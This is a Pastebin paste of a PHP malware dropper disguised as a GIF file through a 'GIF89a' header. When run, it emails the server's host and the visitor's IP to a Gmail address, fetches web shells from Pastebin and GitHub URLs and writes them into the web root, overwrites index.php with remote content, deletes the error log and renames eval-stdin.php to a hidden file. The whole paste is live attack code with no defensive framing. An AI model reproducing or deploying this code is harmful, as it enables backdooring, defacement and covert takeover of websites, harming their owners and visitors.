Advertisement
Guest User

Untitled

a guest
Sep 19th, 2019
292
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.74 KB | None | 0 0
  1. GIF89a;
  2. <?php
  3. $ip = getenv("REMOTE_ADDR");
  4. $subj98 = " Tuyul |$ip";
  5. $email = "bu9p3t@gmail.com";
  6. $from = "From: Result<Tuyul";
  7. $a45 = $_SERVER['REQUEST_URI'];
  8. $b75 = $_SERVER['HTTP_HOST'];
  9. $m22 = $ip . "";
  10. $msg8873 = "$m22 $b75 $a45";
  11. mail($email, $subj98, $msg8873, $from);
  12. ?>
  13. <?php
  14. function http_get($url){
  15. $im = curl_init($url);
  16. curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
  17. curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
  18. curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
  19. curl_setopt($im, CURLOPT_HEADER, 0);
  20. return curl_exec($im);
  21. curl_close($im);
  22. }
  23. $check1 = $_SERVER['DOCUMENT_ROOT'] . "/pm.php" ;
  24. $text1 = http_get('https://pastebin.com/raw/kfPeyRg3');
  25. $open1 = fopen($check1, 'w');
  26. fwrite($open1, $text1);
  27. fclose($open1);
  28. if(file_exists($check1)){
  29. }
  30. $check2 = $_SERVER['DOCUMENT_ROOT'] . "/12.php" ;
  31. $text2 = http_get('https://raw.githubusercontent.com/r00tbotz/priv-shell/master/shell.txt');
  32. $open2 = fopen($check2, 'w');
  33. fwrite($open2, $text2);
  34. fclose($open2);
  35. if(file_exists($check2)){
  36. }
  37. $check4 = $_SERVER['DOCUMENT_ROOT'] . "/blacm4.php" ;
  38. $text4 = http_get('https://pastebin.com/raw/K5T8BDG1');
  39. $open4 = fopen($check4, 'w');
  40. fwrite($open4, $text4);
  41. fclose($open4);
  42. if(file_exists($check4)){
  43. }
  44. <?php
  45. $fp = fopen ('index.php', 'w+');
  46.  
  47. $url = "https://pastebin.com/raw/eqzujNLa";
  48.  
  49. //Here is the file we are downloading, replace spaces with %20
  50. $ch = curl_init(str_replace(" ","%20",$url));
  51.  
  52. curl_setopt($ch, CURLOPT_TIMEOUT, 50);
  53.  
  54. //give curl the file pointer so that it can write to it
  55. curl_setopt($ch, CURLOPT_FILE, $fp);
  56. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  57.  
  58. $data = curl_exec($ch);//get curl response
  59.  
  60. //done
  61. curl_close($ch);
  62. ?>
  63. <?php
  64. unlink("error_log");
  65. @system("mv eval-stdin.php .87.php");
  66. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement